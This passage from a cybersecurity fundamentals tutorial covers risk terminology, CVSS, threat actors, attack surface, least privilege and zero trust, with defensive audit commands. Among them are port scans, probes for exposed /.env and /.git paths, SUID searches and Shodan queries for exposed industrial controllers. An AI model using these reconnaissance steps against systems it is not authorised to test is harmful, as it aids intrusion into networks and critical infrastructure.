cat /var/log/freeradius/radacct/*/detail | \
    grep -A10 "Acct-Status-Type = Start" | \
    grep "User-Name\|Framed-IP\|Acct-Session-Time" | head -30

# Check sudo accounting (Linux):
# Enable sudo logging:
# /etc/sudoers: Defaults logfile="/var/log/sudo.log"
cat /var/log/sudo.log | grep "COMMAND"
# Shows: who ran what command with sudo, when, from where

# Windows accounting via Security event log:
# Event 4624: Successful logon
# Event 4625: Failed logon
# Event 4647: User-initiated logoff
# Event 4648: Logon with explicit credentials
# Event 4662: Object access
# Event 4688: Process creation (with command line if enabled)

AAA in OT/ICS:

NERC CIP Requirements (North American power grid):
  CIP-004: Personnel training and access management
  CIP-007: Systems security management (authentication controls)

  Specifically requires:
  - Individual user accounts (no shared accounts for privileged access)
  - Password policies
  - Access logging and review

IEC 62443 (industrial cybersecurity standard):
  Security Level 2 (default target): Requires authentication for all access
  Security Level 3 (high): Requires MFA for privileged access
  Accounting: All access to BES (Bulk Electric System) must be logged

Common OT failure:
  Shared "operator" account → no individual accountability
  If something goes wrong (deliberate or accidental), cannot attribute
  Insider threat: no way to know who made changes

Solution: even if field devices cannot authenticate individually,
  require authentication at the boundary (jump server, HMI login)
  and log all sessions with session recording

Key Insight: Accounting is the pillar most often neglected — authentication and authorisation receive attention, logging is treated as optional. This is backwards: without accounting, you cannot detect breaches, cannot investigate incidents, cannot prove compliance, and cannot learn from security events. Comprehensive, tamper-resistant logging is not optional — it is the difference between a recoverable incident and an unexplained mystery.

7. Risk, Threat, Vulnerability, Attack — Precise Definitions

7.1 Why Precise Terminology Matters

These four terms are routinely confused and misused — in vendor marketing, in management meetings, and sometimes in security documentation. Using them incorrectly leads to misallocated resources, wrong priorities, and misunderstood risk posture.

Definitions:

VULNERABILITY: A weakness in a system, process, or control
  Examples:
  - Unpatched software (CVE-2017-0144 / EternalBlue)
  - Default password on router
  - Missing input validation in web application
  - Unlocked server room door
  - Employee who will click phishing links

THREAT: A potential cause of harm — an actor, event, or circumstance
  Examples:
  - Ransomware group targeting healthcare
  - Disgruntled employee with access
  - Nation-state APT with persistent presence
  - Hurricane disrupting data centre
  - Power outage

RISK: The probability that a threat will exploit a vulnerability, causing impact
  Risk = f(Threat, Vulnerability, Impact)

  More precisely:
  Risk = Threat Likelihood × Vulnerability Exploitability × Impact Severity

  If any factor is zero, risk is zero:
  No threat: vulnerability exists but nobody cares → low risk
  No vulnerability: threat exists but system has no weaknesses → low risk
  No impact: system compromised but contains nothing of value → low risk

ATTACK: A threat actor actually exploiting a vulnerability
  An attack is a threat becoming real
  Not all vulnerabilities are attacked
  Not all threats execute attacks

7.2 The Risk Formula

Qualitative Risk Assessment:

Likelihood      × Impact       = Risk Level
High (3)        × High (3)     = Critical (9)
High (3)        × Medium (2)   = High (6)
Medium (2)      × High (3)     = High (6)
Medium (2)      × Medium (2)   = Medium (4)
Low (1)         × High (3)     = Medium (3)
Low (1)         × Low (1)      = Low (1)

Quantitative Risk Assessment (FAIR methodology):
  Asset Value (AV): monetary value of what's at risk
  Threat Event Frequency (TEF): how often the threat occurs
  Vulnerability (V): probability of exploitation if threat occurs
  Loss Magnitude (LM): impact if successful

  Annualised Loss Expectancy (ALE) = TEF × V × LM

Example:
  Database breach risk:
  TEF = 2 per year (two significant attacks expected)
  V = 0.3 (30% chance of success if attacked)
  LM = $500,000 (cost of breach: notification, legal, remediation)
  ALE = 2 × 0.3 × $500,000 = $300,000/year

  Spend up to $300,000/year on controls that prevent the breach
  Spending $1,000,000/year to prevent a $300,000 risk = poor risk management

7.3 Vulnerability Scoring — CVSS

CVSS (Common Vulnerability Scoring System) quantifies vulnerability severity

CVSS v3.1 Base Metrics:

Attack Vector (AV):
  Network (N):    Exploitable remotely (worst)
  Adjacent (A):   Must be on same network
  Local (L):      Must have local access
  Physical (P):   Requires physical access (least severe for remote attack)

Attack Complexity (AC):
  Low (L):        No special conditions needed
  High (H):       Specific conditions required (race condition, non-default config)

Privileges Required (PR):
  None (N):       No authentication needed (most severe)
  Low (L):        Regular user
  High (H):       Admin/root

User Interaction (UI):
  None (N):       No user action needed
  Required (R):   Victim must take action

Scope (S):
  Unchanged (U):  Impact contained to vulnerable component
  Changed (C):    Impact extends beyond vulnerable component

Confidentiality / Integrity / Availability Impact:
  None (N) / Low (L) / High (H)

CVSS Score Ranges:
  0.0:     None
  0.1-3.9: Low
  4.0-6.9: Medium
  7.0-8.9: High
  9.0-10.0: Critical

Examples:
  EternalBlue (MS17-010): CVSS 9.8 (Critical) — Network, Low complexity, No auth
  Log4Shell (CVE-2021-44228): CVSS 10.0 (Critical) — Network, Low, None auth, Changed scope
  Local privilege escalation typical: CVSS 7.8 (High) — Local access required

# Vulnerability management workflow:

# Check for CVEs in installed packages (Linux):
# Debian/Ubuntu:
sudo apt list --installed 2>/dev/null | grep -oE "^[^/]+" | \
    xargs dpkg -s 2>/dev/null | grep "Version\|Package" | \
    paste - - | awk '{print $2, $4}'
# Then cross-reference against CVE databases

# Trivy (container/system vulnerability scanner):
trivy image nginx:latest             # Scan container image
trivy fs /                           # Scan filesystem
trivy --severity HIGH,CRITICAL fs /  # Only high/critical

# OpenVAS / GVM (vulnerability scanner):
gvm-cli socket --xml "<get_tasks/>"  # List scheduled scans

# Check specific CVE status:
# CVE database API:
curl "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2021-44228" | \
    python3 -m json.tool | grep -A5 "cvssMetricV3"

# Risk prioritisation script:
python3 << 'EOF'
vulnerabilities = [
    {"cve": "CVE-2021-44228", "cvss": 10.0, "exploited": True, "systems": 50},
    {"cve": "CVE-2022-30190", "cvss": 7.8,  "exploited": True, "systems": 200},
    {"cve": "CVE-2020-1472",  "cvss": 10.0, "exploited": True, "systems": 1},
    {"cve": "CVE-2023-12345", "cvss": 5.0,  "exploited": False, "systems": 100},
]

# Risk score = CVSS × (2 if actively exploited) × log(systems affected)
import math
for v in vulnerabilities:
    score = v["cvss"] * (2 if v["exploited"] else 1) * math.log(v["systems"] + 1)
    print(f"{v['cve']}: CVSS={v['cvss']}, Risk Score={score:.1f}")

# Sort by risk score to prioritise patching
vulnerabilities.sort(key=lambda x: x["cvss"] * (2 if x["exploited"] else 1) * math.log(x["systems"] + 1), reverse=True)
print("\nPatching Priority:")
for i, v in enumerate(vulnerabilities, 1):
    print(f"  {i}. {v['cve']} (CVSS {v['cvss']}, {'ACTIVELY EXPLOITED' if v['exploited'] else 'not exploited'})")
EOF

Key Insight: Risk is the product of threat × vulnerability × impact — reducing any factor reduces risk. The key insight for resource allocation: patching the highest-CVSS vulnerability affecting only one system may be lower priority than patching a medium-CVSS vulnerability affecting 500 critical systems that is being actively exploited. Risk prioritisation, not CVSS score alone, should drive remediation order.

8. Threat Actor Types

8.1 Why Threat Actor Classification Matters

Different threat actors have different capabilities, motivations, resources, and targets. Knowing who is most likely to target you changes how you defend — against a ransomware group, patch management and backups are critical; against a nation-state APT, focus shifts to detection and containment since prevention alone is insufficient.

Threat Actor Taxonomy:

┌──────────────────┬──────────────┬───────────────┬──────────────────────────┐
│ Actor Type       │ Motivation   │ Capability    │ Primary Targets          │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Nation-State APT │ Espionage,   │ Highest       │ Government, Defence,     │
│                  │ Sabotage,    │               │ Critical Infrastructure,  │
│                  │ Disruption   │               │ Technology companies     │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Cybercriminals   │ Financial    │ High          │ Any profitable target:   │
│ (organised)      │ gain         │               │ Finance, Healthcare,     │
│                  │              │               │ Retail, all sectors      │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Ransomware       │ Extortion    │ High          │ Any organisation that    │
│ Groups           │              │               │ cannot afford downtime   │
│                  │              │               │ (hospitals, utilities)   │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Insider Threats  │ Varies:      │ Variable      │ Own employer             │
│                  │ Financial,   │ (privileged   │                          │
│                  │ Revenge,     │ access)       │                          │
│                  │ Ideology     │               │                          │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Hacktivists      │ Political,   │ Medium        │ Organisations they       │
│                  │ Social       │               │ disagree with ideologically│
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Script Kiddies   │ Curiosity,   │ Low           │ Opportunistic, easy      │
│                  │ Reputation   │               │ targets, not targeted    │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Competitors      │ Corporate    │ Variable      │ Industry competitors     │
│                  │ espionage    │               │                          │
└──────────────────┴──────────────┴───────────────┴──────────────────────────┘

8.2 Nation-State APT Groups

APT (Advanced Persistent Threat): sophisticated, long-term intrusion campaign

Key characteristics:
  Advanced: Custom tools, zero-days, sophisticated evasion
  Persistent: Maintain access for months or years
  Threat: Driven by specific geopolitical objectives

Documented APT Groups and Their Targeting:

APT29 (Cozy Bear) — Russia (SVR):
  Victims: SolarWinds (2020), DNC (2016), COVID-19 vaccine research
  TTPs: Supply chain compromise, password spraying, phishing, living-off-the-land
  Attribution: US/UK government official attributions

APT28 (Fancy Bear) — Russia (GRU):
  Victims: DNC (2016), World Anti-Doping Agency, Ukrainian infrastructure
  TTPs: Spear phishing, credential harvesting, destructive malware (NotPetya supply chain)

Sandworm — Russia (GRU Unit 74455):
  Victims: Ukrainian power grid (2015, 2016), NotPetya (2017), Viasat satellite (2022)
  TTPs: Destructive malware (BlackEnergy, Industroyer, Cyclops Blink)
  OT Focus: Most advanced OT attack capability of any known threat actor

APT41 — China (dual espionage + financial crime):
  Victims: Healthcare, telecom, technology companies globally
  TTPs: Supply chain attacks, exploitation of public-facing apps, Cobalt Strike

Volt Typhoon — China (critical infrastructure pre-positioning):
  Victims: US water utilities, energy, transportation, communications
  TTPs: Living-off-the-land (LOLBins), no malware, use existing tools
  Goal: Pre-position for potential conflict, not active espionage
  2024: FBI and CISA disclosed Volt Typhoon compromised multiple critical infrastructure

Lazarus Group — North Korea (DPRK):
  Victims: Banks (SWIFT fraud), cryptocurrency exchanges, Sony Pictures
  TTPs: Spear phishing, supply chain attacks, custom malware
  Motivation: Financial (generates revenue for DPRK regime sanctions evasion)

8.3 Ransomware Groups

Evolution of Ransomware 2013-Present:

2013: CryptoLocker — first major ransomware, Bitcoin payments
2017: WannaCry (EternalBlue) — 200,000 victims, wormable
2017: NotPetya — disguised as ransomware, actually pure destructor
2019-present: Double extortion — encrypt AND steal data, threaten to publish
2020-present: Triple extortion — add DDoS as third pressure
2020-present: RaaS (Ransomware-as-a-Service) — operators rent to affiliates

Major active groups (as of 2024):
  LockBit 3.0: Most active RaaS, $91M+ collected from US victims alone
  BlackCat/ALPHV: Sophisticated, Rust-based ransomware, healthcare targets
  Cl0p: MOVEit (2023) — exploited zero-day to breach 2,000+ organisations
  Play: Used in attacks on Oakland CA (2023), publishing all data exfiltrated

Anatomy of a ransomware attack:
  Day 0:    Initial access (phishing, exposed RDP, VPN vulnerability)
  Day 1-7:  Lateral movement, privilege escalation
  Day 8-30: Data exfiltration (double extortion leverage)
  D-Day:    Ransomware deployment across all systems simultaneously

Why OT is increasingly targeted:
  Production downtime = immediate financial pressure
  Safety concerns add urgency to payment
  OT systems harder to restore from backup (specialist configuration)
  Example: Oldsmar Water Treatment (2021) — operator observed cursor moving
           Changed NaOH level from 111 ppm to 11,100 ppm (not ransomware
           but demonstrated OT attack surface)

8.4 Insider Threats

Insider threat categories:

Malicious Insider:
  Motivated: Financial gain (selling data/access), revenge, ideology
  Example: Capital One data breach (2019) — Paige Thompson, former AWS employee,
           exploited misconfigured WAF to steal 100M customer records
  Example: Edward Snowden — NSA contractor, exfiltrated classified documents

Negligent Insider (most common):
  No malicious intent but causes breaches through error or poor security practice
  Example: Clicking phishing links, using weak passwords, misconfiguring cloud storage
  Example: 2019 First American Financial — developer left 885 million records
           publicly accessible via URL manipulation

Compromised Insider:
  Legitimate employee whose credentials or account have been stolen
  The insider is a victim; their access enables the external attacker
  Example: Most APT campaigns involve compromised employee credentials at some point

Detection:
  User Entity and Behaviour Analytics (UEBA)
  DLP (Data Loss Prevention) monitoring
  Privileged Access Management (PAM) with session recording
  Anomaly detection: access at unusual hours, unusual data volumes, unusual destinations

# Threat intelligence and monitoring:

# Check if your IPs appear in threat intelligence feeds:
curl "https://www.abuseipdb.com/api/v2/check?ipAddress=8.8.8.8&maxAgeInDays=90" \
    -H "Key: YOUR_API_KEY" -H "Accept: application/json"

# Query VirusTotal for indicator:
curl "https://www.virustotal.com/api/v3/ip_addresses/8.8.8.8" \
    -H "x-apikey: YOUR_API_KEY" | python3 -m json.tool | grep "malicious"

# Check if domain is in threat intel:
curl "https://www.virustotal.com/api/v3/domains/suspicious.com" \
    -H "x-apikey: YOUR_API_KEY"

# MITRE ATT&CK correlation:
# Navigate to attack.mitre.org
# Each threat actor (APT group) has documented TTPs
# Map your controls against their known techniques

# Monitor for credential exposure (your organisation's credentials in breaches):
# HaveIBeenPwned API:
curl "https://haveibeenpwned.com/api/v3/breachedaccount/user@company.com" \
    -H "hibp-api-key: YOUR_KEY"

Key Insight: Threat intelligence changes your security strategy from reactive ("respond to what happened") to proactive ("prepare for what this specific threat actor will likely do next"). Nation-state APTs use living-off-the-land techniques — native OS tools — specifically to evade signature-based detection. Against them, behaviour-based detection and comprehensive logging are more effective than AV/EDR signatures alone.

9. Attack Surface

9.1 Definition and Components

Attack surface is the sum of all points where an attacker could attempt to enter, extract data from, or cause harm to a system or organisation.

Attack Surface Components:

Digital Attack Surface:
  Network: All exposed IP addresses, ports, protocols
  Application: Every input field, API endpoint, web page
  Credentials: All accounts that can authenticate to systems
  Code: Software vulnerabilities in every line of code
  Cloud: Misconfigured buckets, exposed APIs, IAM misconfigurations
  Email: Phishing entry point

Physical Attack Surface:
  USB ports on devices
  Physical server access
  Printed documents
  Hardware supply chain

Human Attack Surface (Social Engineering):
  Employees who can be phished, vished, or manipulated
  Help desk procedures that can be socially engineered
  Third-party vendors with access to your systems

Supply Chain Attack Surface:
  Software dependencies (npm packages, PyPI, NuGet)
  Build pipeline (SolarWinds model)
  Hardware manufacturers
  Managed service providers (MSPs) with administrative access

9.2 Attack Surface Reduction

Principles of Attack Surface Reduction:

1. Eliminate what's not needed:
   Disable unused services and ports
   Remove unused accounts
   Remove unused software

2. Minimise exposure:
   Don't expose internal services externally
   Use VPN/private endpoints instead of public exposure

3. Harden what remains:
   Patch all remaining components
   Configure securely (disable defaults, apply hardening)

4. Monitor what you cannot eliminate:
   If you must expose something: monitor it intensively
   Log all access, alert on anomalies

# Attack surface discovery and reduction:

# Map your external attack surface:
# What IPs/domains do you own?
# What services are exposed to internet?

# External port scan of your own infrastructure:
sudo nmap -sS -sV -p- --open YOUR_PUBLIC_IP -oA external_scan

# Find exposed admin interfaces:
for port in 22 23 80 443 3389 5900 8080 8443 8888 9090; do
    nc -zw 2 YOUR_PUBLIC_IP $port 2>/dev/null && \
        echo "Port $port: EXPOSED to internet"
done

# Identify open cloud storage (if using AWS):
aws s3api list-buckets --query 'Buckets[*].Name' --output text | \
    xargs -I{} aws s3api get-bucket-acl --bucket {}
# Look for "AllUsers" or "AuthenticatedUsers" = public bucket

# Find shadow IT / unknown external assets:
# Certificate transparency logs reveal all subdomains:
curl "https://crt.sh/?q=%25.yourdomain.com&output=json" | \
    python3 -c "import json,sys; [print(c['name_value']) for c in json.load(sys.stdin)]" | \
    sort -u

# Subdomain enumeration:
subfinder -d yourdomain.com -silent | sort -u | tee /tmp/subdomains.txt
# Each subdomain = potential attack surface asset

# Check for exposed sensitive paths:
for path in /.git /wp-admin /.env /phpinfo.php /server-status /actuator/health; do
    code=$(curl -s -o /dev/null -w "%{http_code}" "https://yourdomain.com$path")
    [ "$code" != "404" ] && echo "$code: https://yourdomain.com$path"
done

# Reduce local attack surface:
sudo systemctl list-unit-files --type=service | grep enabled  # Running services
sudo systemctl disable service_not_needed                      # Disable unnecessary
sudo ufw status                                                # Firewall status
sudo ufw enable                                                # Enable firewall
sudo ufw default deny incoming                                 # Default deny
sudo ufw allow 22/tcp                                          # Allow only needed

OT Attack Surface:

OT attack surface has unique characteristics:

External exposure (should be minimal but often isn't):
  SCADA systems inadvertently connected to internet (Shodan shows thousands)
  Remote access VPN portals (vulnerable to VPN CVEs)
  Historian servers with dual-homed connections (IT + OT)

Internal attack surface:
  Engineering workstations (Windows, often unpatched, running SCADA software)
  HMI systems (Windows XP/7 — often cannot be upgraded, vendor lock-in)
  All Modbus/DNP3 devices accessible from control network (no auth)
  USB ports on PLCs and workstations (malware entry via USB)

Third-party attack surface:
  Vendor remote access (often direct into control network)
  VPN accounts for maintenance that persist after contract ends
  PLC programming software downloaded from vendor sites (supply chain)

Search exposed OT on Shodan:
  shodan search "port:502" (Modbus)
  shodan search "port:102" (S7comm — Siemens PLCs)
  shodan search "port:20000" (DNP3)
  shodan search "BACnet" port:47808

Attack surface reduction for OT:
  Network segmentation (Purdue Model zones)
  Eliminate all internet-facing OT components
  Remove all vendor remote access when not actively needed
  Disable USB ports on OT systems (Group Policy, physical blockers)
  Patch windows systems even if SCADA vendor hasn't validated
  (with proper change management and testing)

Key Insight: You cannot secure what you don't know exists. The first step of attack surface management is discovering your complete surface — including shadow IT, forgotten assets, abandoned cloud resources, and third-party connections. Attackers discover your assets with the same tools (Shodan, certificate transparency, subdomain enumeration) — you should know your attack surface better than they do.

10. Defence in Depth

10.1 The Concept

Defence in Depth (DiD) is the principle of using multiple, overlapping security controls across different layers, so that failure of any single control does not result in complete compromise.

Defence in Depth Model:

         Physical Security
              │
        Network Security
              │
         Host Security
              │
       Application Security
              │
         Data Security
              │
         User Security

Each layer:
  Provides controls that the layers above and below cannot
  Slows attacker progress (forces lateral movement, privilege escalation)
  Creates detection opportunities (attacker behaviour visible at each layer)
  Limits blast radius if one layer fails

10.2 Layers in Practice

Physical:
  Guards, access cards, cameras, biometrics
  Locked server rooms, equipment cages
  Cable locks, device tracking
  Attack stopped: prevents physical access to hardware

Network:
  Firewalls, IDS/IPS, network segmentation, DMZ
  VPN for remote access, NAC for device admission
  VLAN isolation, WAF for web applications
  Attack stopped: prevents lateral movement, limits blast radius

Host:
  OS hardening (CIS benchmarks, STIG)
  Antivirus/EDR, host-based firewall
  Patch management, FIM (file integrity monitoring)
  Disable unnecessary services
  Attack stopped: prevents malware execution, detects compromise

Application:
  Secure coding practices, SAST/DAST scanning
  Input validation, output encoding
  Authentication (MFA), session management
  WAF, API gateway
  Attack stopped: prevents SQL injection, XSS, authentication bypass

Data:
  Encryption at rest (AES-256), encryption in transit (TLS 1.3)
  DLP, data classification
  Backup and recovery
  Database activity monitoring
  Attack stopped: limits impact of breach, enables recovery

User:
  Security awareness training
  Phishing simulation
  Clear policies and procedures
  Background checks for privileged roles
  Attack stopped: reduces social engineering success rate

10.3 Castle Analogy and Its Limits

Traditional security: Castle model
  Strong perimeter (moat, walls) = firewall
  "If they're inside, they're trusted"

  Problem: Once perimeter is breached, attacker has full castle

DiD improvement:
  Multiple walls (network segmentation)
  Guards inside (EDR, monitoring)
  Locked rooms (file permissions, encryption)
  Audit trails (comprehensive logging)

But even DiD has limits:
  All layers can be defeated in theory
  Complexity of DiD creates management overhead
  Layered controls must be monitored, not just deployed

Modern improvement: Zero Trust (see Section 13)
  Don't trust based on location
  Verify every access, every time
  Assume breach — hunt for threats already inside

# Verify defence-in-depth controls are in place:

# Network layer check:
sudo iptables -L -n -v | grep -c "ACCEPT\|DROP\|REJECT"  # Active firewall rules
sudo netstat -tulnp | grep "0.0.0.0:" | grep -v "127.0.0.1"  # Internet-exposed services

# Host layer check:
which auditd && sudo systemctl status auditd               # Audit daemon
which aide && aide --check 2>/dev/null | head -5           # File integrity
sudo systemctl status fail2ban                              # Brute force protection
sudo ufw status | head -5                                   # Host firewall

# Application layer check:
curl -sI https://target.com | grep -iE "x-frame|content-security|hsts|x-content-type"
# Missing headers = missing application-layer controls

# Data layer check:
sudo cryptsetup status /dev/sda 2>/dev/null | grep "type"   # Disk encryption
ls -la /etc/ssl/                                             # Certificate management

# Monitoring check (is there visibility at each layer?):
sudo systemctl status rsyslog                               # Logging running?
cat /etc/rsyslog.d/*.conf | grep "@@"                      # Remote syslog configured?

11. Least Privilege Principle

11.1 Definition

Least Privilege: Every user, process, and system should have only the minimum permissions required to perform their specific function — nothing more.

Principle in practice:

Not least privilege:
  Database administrator account used for everything:
    Running DB server → SYSTEM / root
    Backing up databases → full admin
    Reading application data → full admin

Least privilege applied:
  DB server process: runs as 'mysql' user (no shell, no login, only DB access)
  Backup account: read-only on backup directories only
  Application service account: SELECT on specific tables only
  DBA account: full admin, but only used from management workstation, 
               with MFA, and all actions logged

11.2 Why Least Privilege Matters — Real Impact

WannaCry (2017) — Least Privilege Failure:
  Many infected machines ran as local Administrator
  Ransomware inherited full admin rights
  Encrypted ALL accessible files including network shares
  If processes ran as limited users: ransomware encrypts only that user's files
  Least privilege = contained blast radius

Pass-the-Hash / Mimikatz — Least Privilege Failure:
  If every machine has the same local administrator password:
  Compromise one machine → extract hash → use on all machines (PTH)

  Fix (Microsoft LAPS): 
  Unique, randomised local admin password per machine
  Stored in AD, accessible only to authorised admins

  Even better: disable local admin account entirely (CIS benchmark)

SolarWinds-type attacks:
  Build pipeline had excessive permissions
  Compromise of build system = ability to modify any software, sign it
  Least privilege: build system should not have production signing keys
  Production signing: isolated, hardware-backed, requires human approval

11.3 Just-in-Time (JIT) Privilege

JIT Privilege: escalate permissions only when needed, revoke immediately after

Traditional (persistent privilege):
  Admin has always-on domain admin rights
  Risk: if account compromised at any moment, attacker has domain admin

JIT (temporary privilege):
  Admin has limited standard user account normally
  To perform admin task: request elevated access via PAM (CyberArk, BeyondTrust)
  PAM grants temporary access (1 hour, specific system)
  PAM records the entire session
  Access revoked automatically after session

Benefits:
  Attacker who steals credentials gets no privilege (not currently elevated)
  All privileged actions are recorded (accountability)
  Unusual access requests are visible and auditable

Azure PIM (Privileged Identity Management):
  Users are "eligible" for roles but not permanently assigned
  To activate: request role, provide MFA, provide justification
  Role activates for configured duration (e.g., 8 hours max)
  All activations logged to Azure AD audit log

# Implement and audit least privilege:

# Audit Linux sudo privileges:
sudo cat /etc/sudoers | grep -v "^#\|^$"
sudo cat /etc/sudoers.d/*
# Look for: ALL=(ALL) ALL or NOPASSWD: ALL — these are overprivileged

# Check running services and their privilege level:
ps -eo user,pid,comm | sort | uniq -c | sort -rn | head -20
# Processes running as root that shouldn't be

# Check for setuid/setgid binaries (potential privilege escalation):
find / -perm -4000 -o -perm -2000 2>/dev/null | \
    grep -v "^/proc\|^/sys"
# Non-standard SUID files = investigate

# Check Windows local admins:
net localgroup administrators
# Only IT service accounts and break-glass accounts should be here

# Check Windows service account privileges:
sc qc service_name                    # Check what account a service runs as
# Services running as LocalSystem = highest risk if exploited

# Implement principle via Linux capabilities (instead of full root):
sudo setcap cap_net_raw+eip /usr/bin/ping    # ping only needs raw socket
getcap -r / 2>/dev/null               # List all capability-enabled binaries

Key Insight: Least privilege is the single most effective control for limiting the blast radius of any compromise. WannaCry encrypted entire networks because processes ran as administrators. Ransomware running as a limited user can only encrypt that user's files. JIT privilege means even if admin credentials are stolen, they provide no privilege until explicitly elevated — eliminating the persistent privileged account as an attack target.

12. Separation of Duties

12.1 Definition

Separation of Duties (SoD): Ensuring that no single person has control over all aspects of a critical operation. Requires multiple people to complete critical actions.

Why it matters:

Without SoD:
  Single accountant: creates vendor, approves invoice, initiates payment
  One person controls entire financial transaction
  If malicious: can create fictitious vendor and pay themselves
  If compromised: attacker has full financial control

With SoD:
  Person A: creates vendor in system
  Person B (supervisor): approves new vendor
  Person C: creates invoice
  Person D: approves invoice payment
  Person E: initiates bank transfer (requires Person D's approval code)

  For fraud to succeed: attacker must compromise multiple people/systems

Principle in IT:
  Developer should not deploy their own code to production
    (could introduce malicious code without review)
  Security team should not manage the logs they are measured against
    (could manipulate metrics)
  Network admin should not also be the security monitor
    (could cover tracks after policy violation)
  Backup admin should not control the systems being backed up
    (could delete both production and backup)

12.2 SoD in Technology Controls

Code Review as SoD:
  No code reaches production without peer review
  Developer → Pull Request → Peer Review → Merge → CI/CD → Staging → Approval → Production

  Critical: review must be meaningful — rubber-stamp approval defeats purpose

Four-Eyes Principle:
  Any critical action requires two people to approve
  Common in:
    Banking: large transfers require two authorisers
    Change management: changes require change advisory board
    Cryptography: split knowledge key ceremonies (HSM administration)
    Nuclear weapons: two-person integrity rule (two keys simultaneously)

SoD in Access Control:
  Privileged Access Management: admin cannot grant themselves more access
  AD: user who can modify AD groups should not be able to modify audit logs
  Database: DBA who can read all data should not control application authentication

# Implement and verify separation of duties:

# Git branch protection (enforce code review via GitHub API):
curl -X PATCH "https://api.github.com/repos/ORG/REPO/branches/main/protection" \
    -H "Authorization: token YOUR_TOKEN" \
    -H "Accept: application/vnd.github.v3+json" \
    -d '{
        "required_pull_request_reviews": {
            "required_approving_review_count": 2,
            "dismiss_stale_reviews": true
        },
        "required_status_checks": {"strict": true, "contexts": ["CI/Tests"]},
        "enforce_admins": true
    }'

# Linux: make audit logs immutable:
sudo chattr +i /etc/audit/auditd.conf  # Cannot modify without removing attribute first

# Require two-factor for privilege escalation (PAM):
# /etc/pam.d/sudo: auth required pam_google_authenticator.so

# Check for SoD violations — user who can both reset passwords AND manage audit:
# (requires AD access)
# Get-ADUser -Filter * -Properties MemberOf | Where-Object {
#     $_.MemberOf -match "Account Operators" -and $_.MemberOf -match "Event Log Readers"
# }

Key Insight: Separation of Duties is the only control that protects against malicious insiders with legitimate access. No technical control prevents a DBA with full database access from stealing data — but requiring two people to authorise exports, using DLP to detect anomalous queries, and session recording creates both deterrence and detection. The four-eyes principle applied to critical operations converts single points of failure into conspiracy requirements.

13. Zero Trust Model

13.1 The Paradigm Shift

Traditional security assumed that everything inside the network perimeter was trusted. Zero Trust rejects this assumption entirely.

Traditional Model ("Castle and Moat"):
  Inside network = trusted
  Outside network = untrusted
  If you're on the VPN → you're trusted → access everything

  Fatal flaw: attackers who breach the perimeter have free movement inside

Zero Trust Model:
  "Never trust, always verify"
  Location in network conveys NO trust
  Every access request verified:
    Who is the user? (identity)
    What device are they using? (device health)
    What are they trying to access? (resource)
    Is this request normal for them? (behaviour)
    What is the minimum access needed? (least privilege)

  Even valid internal traffic is verified continuously
  Even privileged users are verified per-request

13.2 Zero Trust Architecture Components

NIST SP 800-207 Zero Trust Architecture:

Policy Engine (PE): Makes access decisions
  Input: identity, device posture, resource, context, policy
  Output: ALLOW / DENY / ALLOW with conditions

Policy Administrator (PA): Enforces decisions from PE
  Establishes/terminates sessions
  Issues credentials for specific sessions

Policy Enforcement Point (PEP): Gatekeeper
  Sits between user and resource
  All traffic passes through PEP
  PEP checks with PA before allowing connection

Identity Provider (IdP): Source of identity truth
  Azure AD, Okta, Ping Identity
  Provides: authentication, MFA, attributes

Device Trust: Certificate-based device authentication
  MDM (Intune, Jamf) attestation
  Device health: OS version, patch status, AV status, encryption

Network: Software-Defined Perimeter
  Resources not discoverable without authorisation
  Micro-segmentation: every workload in its own segment

Monitoring: Full visibility into all access
  Every request logged
  Continuous risk scoring
  Anomaly detection

13.3 Zero Trust Implementation

Zero Trust Maturity Model (CISA, 2023):

Identity:
  Traditional: Username/password
  Initial: MFA added
  Advanced: Phishing-resistant MFA (FIDO2), identity risk scoring
  Optimal: Continuous identity verification, behaviour analytics

Devices:
  Traditional: No device check
  Initial: MDM enrolled devices required
  Advanced: Device compliance gating access (health check)
  Optimal: Continuous device monitoring, automated remediation

Networks:
  Traditional: Flat trusted internal network
  Initial: VLANs, basic segmentation
  Advanced: Micro-segmentation, software-defined perimeter
  Optimal: ZTNA (Zero-trust network access), no implicit trust anywhere

Applications:
  Traditional: All internal apps accessible on network
  Initial: Application proxy, published selectively
  Advanced: Per-app MFA, session recording for sensitive apps
  Optimal: Fine-grained authorisation per request, behaviour analytics

Data:
  Traditional: Perimeter protects data, no internal DLP
  Initial: Data classification, basic DLP
  Advanced: DRM (rights management), zero-trust data access
  Optimal: Automated data protection based on sensitivity

# Zero Trust implementation verification:

# Check: are internal resources reachable without authentication?
curl -s -o /dev/null -w "%{http_code}" http://internal-app.company.local/
# 401/403: correct (requires auth)
# 200: no authentication required = zero trust violation

# Check: is VPN the only way to access internal resources?
nmap -p 80,443,8080,3389,22 internal_hostname_from_internet
# Ports accessible directly from internet = perimeter failure

# Verify MFA is enforced (attempt login with password only — should fail):
# If login succeeds without second factor: MFA not enforced

# Check Cloudflare Access / ZTNA policy enforcement:
curl -I https://protected-app.company.com/
# Should redirect to identity provider, not serve content directly

# Implement basic ZT — verify every session via nginx + oauth2-proxy:
# All requests require OAuth2 authentication before reaching the app
# No direct access without a valid, MFA-verified session token

# Verify micro-segmentation (from inside a workstation):
# Try to reach another workstation directly:
ping ANOTHER_WORKSTATION_IP
nc -zv ANOTHER_WORKSTATION_IP 445
# If succeeds: no micro-segmentation (flat network)
# If fails: micro-segmentation working correctly

Zero Trust in OT/ICS:

Zero Trust concepts applied to OT/ICS:

Challenge: many OT devices cannot authenticate themselves
  PLCs don't have certificates
  Field sensors have no identity mechanism

OT Zero Trust approach:

1. Zone/Conduit model (IEC 62443):
   Replace flat OT network with security zones
   All inter-zone traffic through verified conduits (firewalls)
   Devices inherit trust from zone membership

2. Identity at the boundary:
   Even if PLC has no identity, the engineering workstation accessing it does
   MFA on engineering workstation
   Session recording for all PLC access

3. Never trust the IT-OT connection:
   IT network is assumed compromised
   OT access from IT: through DMZ, jump server, protocol break
   One-way data flows where possible (data diode)

4. Micro-segmentation of OT zones:
   Instead of one OT VLAN: separate VLANs per process area
   Firewall between each area
   Attack contained to one process area if successful

5. Continuous monitoring:
   Baseline normal OT traffic (passive)
